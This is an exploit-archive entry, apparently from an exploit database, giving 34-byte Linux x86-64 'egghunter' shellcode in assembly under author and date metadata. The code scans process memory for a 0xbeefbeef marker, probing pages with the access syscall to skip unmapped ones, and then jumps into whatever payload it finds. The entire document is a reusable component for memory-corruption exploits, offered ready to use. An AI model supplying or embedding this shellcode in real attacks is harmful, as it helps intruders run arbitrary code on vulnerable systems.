Linux/x64 - Egghunter (0xbeefbeef) Shellcode (34 bytes)



EKU-ID: 7325 CVE: OSVDB-ID:
Author: 0x4ndr3 Published: 2018-02-05 Verified: Verified
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global _start
section .text
_start:
        xor rsi,rsi
 
        push rsi ; starts the search at position 0
        pop rdi
 
next_page:
        or di,0xfff
        inc rdi
 
next_4_bytes:
        push 21
        pop rax
        syscall
        cmp al,0xf2
        jz next_page
        mov eax,0xefbeefbd
        inc al
        scasd
        jnz next_4_bytes
        jmp rdi